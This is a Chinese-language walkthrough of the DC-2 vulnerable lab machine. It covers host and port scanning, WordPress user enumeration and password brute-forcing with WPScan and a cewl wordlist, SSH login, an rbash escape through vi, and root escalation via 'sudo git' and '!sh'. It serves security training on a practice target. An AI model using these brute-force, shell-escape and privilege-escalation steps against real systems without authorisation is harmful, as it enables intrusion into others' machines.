1. 信息收集
1.1 存活主机探测
使用masscan快速探测目标ip
sudo masscan --ping 192.168.100.1/24 --rate=1000
成功获得目标ip为192.168.100.135
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-18 09:46:34 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.135
Discovered open port 0/icmp on 192.168.100.2
1.2 目标端口扫描
nmap 192.168.100.135 -p 1-65535 -sV
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-18 17:52 CST
Nmap scan report for dc-2 (192.168.100.135)
Host is up (0.00018s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds
目标开启了80端口和7744端口,80端口对应的服务是http,7744是ssh服务。
2. 漏洞探测与利用
2.1 对80端口的http服务进行访问
首先在浏览器中输入http://192.168.100.135,然后会自动跳转到dc-2导致无法解析,所以在kali的etc/hosts文件中添加内容:192.168.100.135 dc-2
127.0.0.1 localhost
127.0.1.1 kali
192.168.100.135 dc-2
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
修改完hosts文件后,可以成功访问网站,并且找到flag1内容

flag1提示到,我们平常使用的字典可能不会有效,使用cewl来获得对应的字典,而且可以从网页中看到它使用了wordpress的cms,于是可以使用kali里面自带的WPScan来进行扫描。
2.2 对网站进行后台登录
首先用WPScan对网站进行扫描和用户枚举:
wpscan --url http://dc-2 --enumerate u
[+] admin
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] jerry
| Found By: Wp Json Api (Aggressive Detection)
| - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
成功获得三个后台用户:admin,jerry,tom,将其写入user.txt。
然后根据flag1的提示使用cewl来获得登录密码的字典。
cewl dc-2 >pwd.txt
成功将获得的密码字典写入pwd.txt
然后使用WPScan来暴力猜解登录
wpscan --url http://dc-2 -U user.txt -P pwd.txt
[!] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
成功获得这两个用户的登录密码,接下来尝试登录寻找信息。(wordpress的默认后台路径是http://ip/wp-admin)
首先登录Jerry的账号,成功获得flag2的提示

这里说是让我们找到另外一个入口点,刚才nmap扫描到的ssh服务还没有用到,这里应该是提示尝试ssh登录了。
2.3 使用ssh登录目标主机
先尝试用jerry的账号密码来进行登录
ssh -p 7744 jerry@dc-2
然后提示密码错误,看来jerry没有使用这个密码来当ssh的密码,那再来试试tom的密码
ssh -p 7744 tom@dc-2
成功登录获得shell

然后来对这个shell进行一番探索,首先使用ls查看当前目录,获得flag3的提示,使用cat命令失败,这里应该是对命令进行了限制,获得了一个rbash,再试一下less命令,成功获得flag3的内容。

意思是我们需要使用su来账户切换。
但是tom的rbash并没有su命令,这里首先绕过rbash限制。
ls /usr/bin #查看当前用户可以使用哪些命令
ls less scp vi
发现可以使用vi命令,那么这里利用vi来绕过rbash
vi 1 #打开一个vi编辑器
:set shell=/bin/sh
:shell
成功获得正常的shell,然后利用su切换到jerry,这里密码就用刚才找到的那个密码。进入jerry的主目录下获得flag4

这里看到要想获得最终flag,需要我们利用git提取。
2.4 利用git提权
首先利用sudo -l查看有哪些不需要密码就可以使用的root命令
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git
成功找到git命令,利用git的help很多让一页显示不完,然后输入!sh弹出root的shell
sudo git help config
!sh

然后进入root的主目录获得最终flag
